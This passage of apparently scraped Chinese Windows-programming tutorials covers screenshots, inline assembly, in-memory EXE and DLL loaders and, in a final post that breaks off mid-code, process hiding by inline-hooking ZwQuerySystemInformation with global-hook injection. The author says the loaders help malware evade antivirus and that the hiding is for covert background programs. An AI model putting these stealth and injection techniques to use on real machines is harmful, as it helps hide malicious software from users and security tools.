    最后,调用DrawIcon函数将鼠标绘制到兼容设备上下文环境中,也就是在上述屏幕截屏的基础上,绘制鼠标

    最后,我们就可以使用基于 CImage 类的方法保存位图。
    编码实现截屏,获取屏幕位图的句柄 // 获取屏幕截屏 // 获取桌面窗口句柄 HWND hDesktop = ::GetDesktopWindow(); // 获取桌面窗口DC HDC hdc = ::GetDC(hDesktop); // 创建兼容DC HDC mdc = ::CreateCompatibleDC(hdc); // 获取计算机屏幕的宽和高 DWORD dwWidth = ::GetSystemMetrics(SM_CXSCREEN); DWORD dwHeight = ::GetSystemMetrics(SM_CYSCREEN); // 创建兼容位图 HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight); // 选中位图 HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp); // 将窗口内容绘制到位图上 ::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
    绘制鼠标 // 绘制鼠标 POINT p; //获取当前屏幕的鼠标的位置 ::GetCursorPos(&p); //获得鼠标图片的句柄 HICON hIcon = (HICON)::GetCursor(); //绘制鼠标图标 ::DrawIcon(mdc, p.x, p.y, hIcon);
    根据位图句柄保存为文件BOOL SaveBmp(HBITMAP hBmp){ CImage image; // 附加位图句柄 image.Attach(hBmp); // 保存成jpg格式图片 image.Save("mybmp1.jpg"); return TRUE;}
    程序测试运行程序,生成图像文件。查看图片,程序截屏成功,而且包含鼠标位置和状态。

    总结通常情况下的截屏,之所以没有鼠标,是因为鼠标需要另外绘制上去。所以我们获取鼠标的位置以及当时的鼠标状态图标,绘制到图像上,这样就实现了带鼠标位置信息的截屏功能。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-06 10:18:56
  • 内联汇编之64位程序

    背景内联汇编是指在 C/C++ 代码中嵌入的汇编代码,与全部是汇编的汇编源文件不同,它们被嵌入到 C/C++ 的大环境中。内联汇编方式两个作用,一是程序的某些关键代码直接用汇编语言编写,可提高代码的执行效率;二是有些操作无法通过高级语言实现,或者实现起来很困难,必须借助汇编语言达到目的。
    32 位程序和 64 位程序下使用内联汇编的方式,有很大的差别。现在,我们对此分别进行介绍。本篇文章主要介绍的是在 64 位程序中使用内联汇编。
    VS2013中添加并编译 .asm 文件步骤在 64 位程序中,已经不能使用关键字 __asm 来添加汇编代码,而应把汇编代码全部写在 .asm 文件中,然后,再将 .asm 包含到项目中编译链接。现在,我们就先来讲解如何使用 VS2013 添加并编译 .asm 文件的步骤。
    注意,以下演示实现从 x86 模式,即 Win32 模式下开始,如果从 x64 模式开始,在设置 .asm 文件的“自定义生成工具”的时候会卡死或者无反应。从 Win32 模式开始设置后,再新建 x64 模式,并从 Win32 模式复制设置,这样就可以成功对 .asm 文件设置“自定义生成工具”。
    首先,我们在本地上新建一个 .asm 格式的文件 “myasm.asm”之后,右击项目工程并选择“添加” —> “现有项”,然后选择我们新创建的“myasm.asm”文件,添加到工程中:

    然后,我们选中“myasm.asm”文件,并右击选择“属性”:

    在“myasm.asm属性页”中,设置 从生成中排除 为“否”,设置 项类型 为“自定义生成工具”,然后,点击“应用”。这时,在窗口左侧就会生成“自定义生成工具”的扩展栏。如果是从 x64 模式下设置的,在一步,会没有反应或者卡死。所以,一定要从 Win32 模式开始,再创建 x64 模式,并把 Win32 的设置复制到 x64 模式中,便可以解决这个问题。

    接着,我们开始新建 x64 模式,因为我们要开发的是 64 位程序。我们选中项目工程,以此选择 “属性” —> “配置属性” —> “配置管理器” —> “活动解决方案平台”选择“新建”。这时,就会来到“新建解决方案平台”页面。我们选择“x64”,并从 Win32 中复制设置,创建新的项目平台,点击“确定”。这时,就可以使用 x64 模式编译 64 位程序了。

    然后,我们继续对 .asm 文件进行设置,将其包含到项目工程中来编译链接。选中“myasm.asm”文件,右击选择“属性”,来到“myasm.asm”属性页进行设置。在 命令行 中输入“ml64 /c %(fileName).asm”,在 输出 中输入“%(fileName).obj”,其它保持默认即可,点击“确定”即可完成设置。

    经过上述几个步骤,我们成功为 x64 程序添加 .asm 文件并设置包含到项目工程中编译链接。接下来,我们就开始讲解如何在 .asm 文件中写汇编代码了。
    实现原理对于 64 位程序在 .asm 中写代码,需要遵循以下几个规则:

    会变文件 .asm 文件必须以关键字 .CODE 开始,关键字 END 结束,大小写都可以。
    .code ; 此处写汇编指令代码end

    所有的汇编代码以函数方式组织在一起。也就是说,我们要将汇编代码封装成一个个汇编函数。要注意 64 位汇编中的函数声明以及调用约定:
    .code; _MyAdd是汇编函数_MyAdd proc ; 此处写汇编函数的代码_MyAdd endpend
    其中, _MyAsm 是汇编函数的名称,proc 是汇编函数的关键字,endp 是汇编函数的结尾关键字。
    要注意和 32 位汇编函数的区别:32 位汇编函数调用约定 __stdcall,所有参数从右到左依次入栈,通过压栈传递参数。64 位汇编函数的调用约定 __fastcall,前 4 个参数是从左至右依次存放于RCX、RDX、R8、R9寄存器里面,剩下的参数从左至右顺序入栈。
    编码实现myasm.asm.code_MyAdd proc xor rax, rax mov rax, rcx add rax, rdx add rax, r8 add rax, r9 ret_MyAdd endpend
    ASM_64_Test.cppextern "C" ULONGLONG _MyAdd(ULONGLONG a1, ULONGLONG a2, ULONGLONG a3, ULONGLONG a4);int _tmain(int argc, _TCHAR* argv[]){ ULONGLONG a1 = 1; ULONGLONG a2 = 2; ULONGLONG a3 = 3; ULONGLONG a4 = 4; ULONGLONG b = _MyAdd(a1, a2, a3, a4); printf("b=%d\n", b); system("pause"); return 0;}
    程序测试我们直接运行程序,成功显示正确的计算结果:

    然后,我们查看 RAX、RCX、RDX、R8、R9 这 5 个寄存器里的值,和上述我们讲解的相一致:

    总结要特别注意一点就是,如果你使用 VS2013 开发环境,或者你使用其它的开发环境也遇到这样一个问题就是:在 x64 模式下,添加 .asm 文件,并设置在 .asm 属性页 中设置“自定义生成工具”后,界面出现卡死、无反应现象。可以尝试下面的解决方法:

    首先,不要在 x64 模式下面进行设置 .asm 属性页。更换到 x86 模式,即 Win32 模式下,然后再在 .asm 属性页 中设置“自定义生成工具”,这时可以正常设置。
    然后,在在 .asm 属性页 中设置“自定义生成工具”,这时,我们再“新建” x64 的解决方案平台,从 Win32 中复制设置。

    那么,这时,我们就可以在 x64 下正常对“自定义生成工具”进行设置了。
    同时,也要要注意和 32 位汇编函数的区别:32 位汇编函数调用约定 __stdcall,所有参数从右到左依次入栈,通过压栈传递参数。64 位汇编函数的调用约定 __fastcall,前 4 个参数是从左至右依次存放于RCX、RDX、R8、R9寄存器里面,剩下的参数从左至右顺序入栈。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-03 10:50:43
  • 内联汇编之32位程序

    背景内联汇编是指在 C/C++ 代码中嵌入的汇编代码,与全部是汇编的汇编源文件不同,它们被嵌入到 C/C++ 的大环境中。内联汇编方式两个作用,一是程序的某些关键代码直接用汇编语言编写,可提高代码的执行效率;二是有些操作无法通过高级语言实现,或者实现起来很困难,必须借助汇编语言达到目的。
    32 位程序和 64 位程序下使用内联汇编的方式,有很大的差别。现在,我们对此分别进行介绍。本篇文章主要介绍的是在 32 位程序中使用内联汇编。
    实现过程使用内联汇编要用到 __asm 关键字,它可以出现在任何允许 C/C++ 语句出现的地方。对 __asm 关键字的使用有两种方式:

    __asm 块,要添加大括号
    __asm { // 汇编代码 }
    __asm 语句,在每条汇编指令之前加 __asm 关键字
    __asm // 汇编代码

    显然,第一种方法与 C/C++ 的风格很一致,并且把汇编代码和 C/C++ 代码清楚地分开,还避免了重复输入 __asm 关键字,因此推荐使用第一种方法。
    不像在 C/C++ 中的“{ }”,__asm 块的“{ }”不会影响 C/C++ 变量的作用范围。同时,__asm 块可以嵌套,而且嵌套也不会影响变量的作用范围。
    为了与低版本的 Visual C++ 兼容,_asm 和 __asm 具有相同的意义。另外,Visual C++ 支持标准 C++ 的 asm 关键字,但是它不会生成任何指令,它的作用仅限于使编译器不会出现编译错误。要使用内联汇编,必须使用 __asm 而不是 asm 关键字。
    编码实现void MyFunc(char *pszText){ printf("%s\n", pszText);}int _tmain(int argc, _TCHAR* argv[]){ char str1[] = "__asm{ }"; char str2[] = "__asm"; // 32位程序内联汇编 第一种方式 __asm { lea eax, str1 push eax mov eax, MyFunc call eax } // 32位程序内联汇编 第二种方式 __asm lea eax, str2 __asm push eax __asm mov eax, MyFunc __asm call eax system("pause"); return 0;}
    程序测试我们直接运行程序,程序成功显示两行字符串,说明两种方式的内联汇编均使用成功。

    总结在 32 位程序中使用内联汇编比较方便,就两种形式,一种是有大括号的:
    __asm{ // 汇编代码}
    另一种是没有大括号的:
    __asm // 汇编代码
    这两种方式是等价的,大家可以根据自己的程序需要,自行选择使用哪种方式即可。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-03 10:50:01
  • EXE加载模拟器直接在内存中加载运行EXE不通过API创建进程运行

    背景在网上搜索了很多病毒木马的分析报告,看了一段时间后,发现还是有很多病毒木马都能够模拟PE加载器,把DLL或者是EXE等PE文件,直接从内存中直接加载到自己的内存中执行,不需要通过API函数去操作,以此躲过一些杀软的检测。
    在看到这些技术的描述后,虽然没有详细的实现思路,但是凭借自己的知识积累,我也大概知道是怎么做了。后来,就自己动手写了这么一个程序,实现了从内存中直接加载并运行EXE,不需要通过API函数创建另一个进程启动该EXE。暂时还没有想清楚这种技术有什么积极的一面,不管了,既然都把程序写出来了,那就当作是对PE结构以及编程水平的一次锻炼吧
    现在,把实现的思路和实现过程,写成文档,分享给大家。
    程序实现原理要想完全理解透彻这个程序的技术,需要对PE文件格式有比较详细的了解才行,起码要了解PE格式的导入表、导出表以及重定位表的具体操作过程。
    这个程序和 “DLL加载模拟器直接在内存中加载DLL不通过API加载” 这篇文章原理是一样的,只是一个是EXE,一个是DLL,本质上都是PE文件加载模拟器。
    EXE加载到内存的过程并运行实现原理
    首先,在EXE文件中,根据PE结构格式获取其加载映像的大小SizeOfImage,并根据SizeOfImage在自己的程序中申请一块可读、可写、可执行的内存,那么这块内存的首地址就是EXE程序的加载基址
    然后,根据EXE中的PE结构格式获取其映像对齐大小SectionAlignment,然后把EXE文件数据按照SectionAlignment对齐大小拷贝到上述申请的可读、可写、可执行的内存中
    接着,根据PE结构的重定位表,重新对重定位表进行修正
    接着,根据PE结构的导入表,加载所需的DLL,并获取导入表导入函数的地址并写入导入表中
    接着,修改EXE的加载基址ImageBase
    最后,根据PE结构获取EXE的入口地址AddressOfEntryPoint,然后跳转到入口地址处继续执行

    这样,EXE就成功加载到程序中并运行起来了。要注意的一个问题就是,并不是所有的EXE都有重定位表,对于没有重定位表的EXE程序,那就不适用于本文介绍的方法。
    编码实现// 模拟PE加载器加载内存EXE文件到进程中// lpData: 内存EXE文件数据的基址// dwSize: 内存EXE文件的内存大小// 返回值: 内存EXE加载到进程的加载基址LPVOID MmRunExe(LPVOID lpData, DWORD dwSize){ LPVOID lpBaseAddress = NULL; // 获取镜像大小 DWORD dwSizeOfImage = GetSizeOfImage(lpData); // 在进程中开辟一个可读、可写、可执行的内存块 lpBaseAddress = ::VirtualAlloc(NULL, dwSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpBaseAddress) { ShowError("VirtualAlloc"); return NULL; } ::RtlZeroMemory(lpBaseAddress, dwSizeOfImage); // 将内存PE数据按SectionAlignment大小对齐映射到进程内存中 if (FALSE == MmMapFile(lpData, lpBaseAddress)) { ShowError("MmMapFile"); return NULL; } // 修改PE文件重定位表信息 if (FALSE == DoRelocationTable(lpBaseAddress)) { ShowError("DoRelocationTable"); return NULL; } // 填写PE文件导入表信息 if (FALSE == DoImportTable(lpBaseAddress)) { ShowError("DoImportTable"); return NULL; } //修改页属性。应该根据每个页的属性单独设置其对应内存页的属性。 //统一设置成一个属性PAGE_EXECUTE_READWRITE DWORD dwOldProtect = 0; if (FALSE == ::VirtualProtect(lpBaseAddress, dwSizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { ShowError("VirtualProtect"); return NULL; } // 修改PE文件加载基址IMAGE_NT_HEADERS.OptionalHeader.ImageBase if (FALSE == SetImageBase(lpBaseAddress)) { ShowError("SetImageBase"); return NULL; } // 跳转到PE的入口点处执行, 函数地址即为PE文件的入口点IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint if (FALSE == CallExeEntry(lpBaseAddress)) { ShowError("CallExeEntry"); return NULL; } return lpBaseAddress;}
    程序测试在 main 函数中调用上述封装好的函数,加载EXE程序进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szFileName[] = "KuaiZip_Setup_2.8.28.8.exe"; // 打开EXE文件并获取EXE文件大小 HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFile) { ShowError("CreateFile"); return 1; } DWORD dwFileSize = GetFileSize(hFile, NULL); // 申请动态内存并读取DLL到内存中 BYTE *pData = new BYTE[dwFileSize]; if (NULL == pData) { ShowError("new"); return 2; } DWORD dwRet = 0; ReadFile(hFile, pData, dwFileSize, &dwRet, NULL); CloseHandle(hFile); // 判断有无重定位表 if (FALSE == IsExistRelocationTable(pData)) { printf("[FALSE] IsExistRelocationTable\n"); system("pause"); return 0; } // 将内存DLL加载到程序中 LPVOID lpBaseAddress = MmRunExe(pData, dwFileSize); if (NULL == lpBaseAddress) { ShowError("MmRunExe"); return 3; } system("pause"); return 0;}
    测试结果:
    运行程序后,成功显示“快压”安装程序的对话框界面,而且还显示了“快压”安装程序正在向 “i.kpzip.com” 使用HTTP发送“GET”数据请求:

    所以,程序测试成功。
    总结这个程序你只要熟悉PE格式结构的话,这个程序理解起来会比较容易。其中,需要特别注意的一点是:并不是所有的EXE都是用于本文介绍的方法。因为,对于那些没有重定位表的EXE程序来说,它们加载运行时的加载基址只能是固定的,因为没有重定位表的缘故,所以无法重定位数据,势必不能成功运行程序。同时,对一些MFC程序也不支持,目前正在改进当中。如果遇到不成功的,那就多换几个有重定位表的EXE试试就好。
    参考参考自《Windows黑客编程技术详解》一书
    8 回答 2019-01-02 09:47:41
  • DLL加载模拟器直接在内存中加载DLL不通过API加载

    背景在网上搜索了很多病毒木马的分析报告,看了一段时间后,发现还是有很多病毒木马都能够模拟PE加载器,把DLL或者是EXE等PE文件,直接从内存中直接加载到自己的内存中执行,不需要通过API函数去操作,以此躲过一些杀软的检测。
    在看到这些技术的描述后,虽然没有详细的实现思路,但是凭借自己的知识积累,我也大概知道是怎么做了。后来,就自己动手写了这么一个程序,实现了从内存中直接加载DLL,并获取DLL的导出函数,调用并执行。当然,这种技术并非没有积极的一面。如果你的程序需要很多DLL文件进行动态调用,你完全可以把这些DLL作为资源插入到自己的程序中,然后使用这个内存加载运行DLL的技术,直接在内存中加载运行就好,不需要再将DLL释放到本地上。这样做的好处应该不言而喻了,就是你的程序会因此变得很整洁,只有一个EXE程序,其他的DLL均包含在EXE程序里了。
    现在,把实现的思路和实现过程,写成文档,分享给大家。
    程序实现原理要想完全理解透彻这个程序的技术,需要对PE文件格式有比较详细的了解才行,起码要了解PE格式的导入表、导出表以及重定位表的具体操作过程。
    1. DLL加载到内存的过程实现原理
    首先,从DLL文件中,根据PE结构格式获取其加载映像的大小SizeOfImage,并根据SizeOfImage在自己的程序中申请一块可读、可写、可执行的内存,那么这块内存的首地址就是DLL的加载基址
    然后,根据DLL中的PE结构格式获取其映像对齐大小SectionAlignment,然后把DLL文件数据按照SectionAlignment对齐大小拷贝到上述申请的可读、可写、可执行的内存中
    接着,根据PE结构的重定位表,重新对重定位表进行修正
    接着,根据PE结构的导入表,加载所需的DLL,并获取导入表导入函数的地址并写入导入表中
    接着,修改DLL的加载基址ImageBase
    最后,根据PE结构获取DLL的入口地址,然后构造并调用 DllMain 函数,实现DLL的加载

    2. 获取DLL导出函数的实现过程
    首先,根据DLL的加载基址以及PE结构,获取DLL导出表
    然后,获取导出表的信息,如NumberOfNames、AddressOfNames等信息
    接着,遍历导出表的导出函数名字列表,与请求获取的导出函数名称进行匹配
    匹配成功,则获取导出函数的地址,并返回

    3. DLL的释放DLL的释放就比较好理解了,就是直接释放模拟加载DLL时候申请的可读、可写、可执行的内存即可。
    编码实现DLL加载过程函数// 模拟LoadLibrary加载内存DLL文件到进程中// lpData: 内存DLL文件数据的基址// dwSize: 内存DLL文件的内存大小// 返回值: 内存DLL加载到进程的加载基址LPVOID MmLoadLibrary(LPVOID lpData, DWORD dwSize){ LPVOID lpBaseAddress = NULL; // 获取镜像大小 DWORD dwSizeOfImage = GetSizeOfImage(lpData); // 在进程中开辟一个可读、可写、可执行的内存块 lpBaseAddress = ::VirtualAlloc(NULL, dwSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpBaseAddress) { ShowError("VirtualAlloc"); return NULL; } ::RtlZeroMemory(lpBaseAddress, dwSizeOfImage); // 将内存DLL数据按SectionAlignment大小对齐映射到进程内存中 if (FALSE == MmMapFile(lpData, lpBaseAddress)) { ShowError("MmMapFile"); return NULL; } // 修改PE文件重定位表信息 if(FALSE == DoRelocationTable(lpBaseAddress)) { ShowError("DoRelocationTable"); return NULL; } // 填写PE文件导入表信息 if (FALSE == DoImportTable(lpBaseAddress)) { ShowError("DoImportTable"); return NULL; } //修改页属性。应该根据每个页的属性单独设置其对应内存页的属性。 //统一设置成一个属性PAGE_EXECUTE_READWRITE DWORD dwOldProtect = 0; if (FALSE == ::VirtualProtect(lpBaseAddress, dwSizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { ShowError("VirtualProtect"); return NULL; } // 修改PE文件加载基址IMAGE_NT_HEADERS.OptionalHeader.ImageBase if (FALSE == SetImageBase(lpBaseAddress)) { ShowError("SetImageBase"); return NULL; } // 调用DLL的入口函数DllMain,函数地址即为PE文件的入口点IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint if (FALSE == CallDllMain(lpBaseAddress)) { ShowError("CallDllMain"); return NULL; } return lpBaseAddress;}
    获取DLL导出函数// 模拟GetProcAddress获取内存DLL的导出函数// lpBaseAddress: 内存DLL文件加载到进程中的加载基址// lpszFuncName: 导出函数的名字// 返回值: 返回导出函数的的地址LPVOID MmGetProcAddress(LPVOID lpBaseAddress, PCHAR lpszFuncName){ LPVOID lpFunc = NULL; // 获取导出表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG32)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的数据 PDWORD lpAddressOfNamesArray = (PDWORD)((DWORD)pDosHeader + pExportTable->AddressOfNames); PCHAR lpFuncName = NULL; PWORD lpAddressOfNameOrdinalsArray = (PWORD)((DWORD)pDosHeader + pExportTable->AddressOfNameOrdinals); WORD wHint = 0; PDWORD lpAddressOfFunctionsArray = (PDWORD)((DWORD)pDosHeader + pExportTable->AddressOfFunctions); DWORD dwNumberOfNames = pExportTable->NumberOfNames; DWORD i = 0; // 遍历导出表的导出函数的名称, 并进行匹配 for (i = 0; i < dwNumberOfNames; i++) { lpFuncName = (PCHAR)((DWORD)pDosHeader + lpAddressOfNamesArray[i]); if (0 == ::lstrcmpi(lpFuncName, lpszFuncName)) { // 获取导出函数地址 wHint = lpAddressOfNameOrdinalsArray[i]; lpFunc = (LPVOID)((DWORD)pDosHeader + lpAddressOfFunctionsArray[wHint]); break; } } return lpFunc;}
    DLL释放// 释放从内存加载的DLL到进程内存的空间// lpBaseAddress: 内存DLL数据按SectionAlignment大小对齐映射到进程内存中的内存基址// 返回值: 成功返回TRUE,否则返回FALSEBOOL MmFreeLibrary(LPVOID lpBaseAddress){ BOOL bRet = FALSE; if (NULL == lpBaseAddress) { return bRet; } bRet = ::VirtualFree(lpBaseAddress, 0, MEM_RELEASE); lpBaseAddress = NULL; return bRet;}
    程序测试我们编写一个用来测试的DLL程序TestDll,导出函数的代码如下所示:
    BOOL ShowMessage(char *lpszText, char *lpszCaption){ ::MessageBox(NULL, lpszText, lpszCaption, MB_OK); return TRUE;}
    在 main 函数中,调用上述封装好的函数接口进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szFileName[MAX_PATH] = "TestDll.dll"; // 打开DLL文件并获取DLL文件大小 HANDLE hFile = ::CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFile) { ShowError("CreateFile"); return 1; } DWORD dwFileSize = ::GetFileSize(hFile, NULL); // 申请动态内存并读取DLL到内存中 BYTE *lpData = new BYTE[dwFileSize]; if (NULL == lpData) { ShowError("new"); return 2; } DWORD dwRet = 0; ::ReadFile(hFile, lpData, dwFileSize, &dwRet, NULL); // 将内存DLL加载到程序中 LPVOID lpBaseAddress = MmLoadLibrary(lpData, dwFileSize); if (NULL == lpBaseAddress) { ShowError("MmLoadLibrary"); return 3; } printf("DLL加载成功\n"); // 获取DLL导出函数并调用 typedef BOOL(*typedef_ShowMessage)(char *lpszText, char *lpszCaption); typedef_ShowMessage ShowMessage = (typedef_ShowMessage)MmGetProcAddress(lpBaseAddress, "ShowMessage"); if (NULL == ShowMessage) { ShowError("MmGetProcAddress"); return 4; } ShowMessage("CDIY - www.coderdiy.com - 专注计算机技术交流分享\n", "CDIY"); // 释放从内存加载的DLL BOOL bRet = MmFreeLibrary(lpBaseAddress); if (FALSE == bRet) { ShowError("MmFreeLirbary"); } // 释放 delete[] lpData; lpData = NULL; ::CloseHandle(hFile); system("pause"); return 0;}
    测试结果:
    直接成功弹窗!

    所以,DLL文件直接在内存中成功被加载并执行。
    总结这个程序对于初学者来说,理解起来比较复杂。但是,你只要熟悉PE格式结构的话,这个程序理解起来会比较容易。上面讲解中,对于重定位表、导入表以及导出表部分的具体操作并没有细讲,如果你没有了解PE结构,那么理解起来会有困难。如果你了解过PE结构,那么那部分知识应该也不用细讲的。
    2 回答 2019-01-01 13:24:04
  • 劫持ZwQuerySystemInformation函数实现进程隐藏

    背景所谓的进程隐藏,通俗地说指的是某个进程正常工作,不受任何影响,但是,我们使用类似任务管理器、Process Explorer 等进程查看软件查看进程,却看不到这个进程。适合秘密在计算机后台进行操作的程序,而不想让人发现。
    本文讲解的就是实现这样的一个进程隐藏程序的原理和过程,当然,进程隐藏的方法有很多,例如 DLL 劫持、DLL注入、代码注入、进程内存替换、HOOK API 等等。我们本文要介绍的就是 HOOK API 函数 ZwQuerySystemInformation 实现的隐藏指定进程。现在,我就把程序的实现过程整理成文档,分享给大家。
    函数介绍ZwQuerySystemInformation 函数
    获取指定的系统信息。
    函数声明
    NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);
    参数

    SystemInformationClass [in]要检索的系统信息的类型。 该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一。
    SystemInformation[in,out]指向缓冲区的指针,用于接收请求的信息。 该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示。
    SystemInformationLength [in]SystemInformation参数指向的缓冲区的大小(以字节为单位)。
    ReturnLength [out]
    一个可选的指针,指向函数写入所请求信息的实际大小的位置。 如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。

    返回值

    返回NTSTATUS成功或错误代码。NTSTATUS错误代码的形式和意义在DDK中提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。
    注意

    ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。 为了保持应用程序的兼容性,最好使用前面提到的替代功能。如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。 如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。 但签名变更可能无法检测。此功能没有关联的导入库。 您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

    实现原理首先,先来讲解下为什么 HOOK ZwQuerySystemInformation 函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统 WIN32 API 函数 EnumProcess 、CreateToolhelp32Snapshot 等函数来实现,这些 WIN32 API 它们内部最终是通过调用 ZwQuerySystemInformation 这个函数实现的获取进程列表信息。所以,我们只要 HOOK ZwQuerySystemInformation 函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么 ZwQuerySystemInformation 就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。
    其中,我们将HOOK ZwQuerySystemInformation 函数的代码部分写在 DLL 工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成 DLL 文件,可以方便我们将 DLL 文件注入到其它进程的空间,从而 HOOK 其它进程空间中的 ZwQuerySystemInformation 函数,这样,就实现了在其它进程空间中也看不到指定进程了。
    我们选取 DLL 注入的方法是设置全局钩子,这样就可以快速简单地将指定 DLL 注入到所有的进程空间里了。
    其中,HOOK API 使用的是自己写的 Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。
    编码实现HOOK ZwQuerySystemInformationvoid HookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 32 位下修改前 5 字节, 64 位下修改前 12 字节#ifndef _WIN64 // jmp New_ZwQuerySystemInformation // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pData[5] = { 0xe9, 0, 0, 0, 0}; DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset)); // 保存前 5 字节数据 ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));#else // mov rax,0x1122334455667788 // jmp rax // 机器码是: // 48 b8 8877665544332211 // ff e0 BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset)); // 保存前 12 字节数据 ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); // 修改 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
    UNHOOK ZwQuerySystemInformationvoid UnhookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32 位下还原前 5 字节, 64 位下还原前 12 字节#ifndef _WIN64 // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));#else // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));#endif // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}
    New_ZwQuerySystemInformation 函数NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; // 要隐藏的进程PID DWORD dwHideProcessId = 1224; // UNHOOK API UnhookApi(); // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return status; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return status; } // 调用原函数 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = 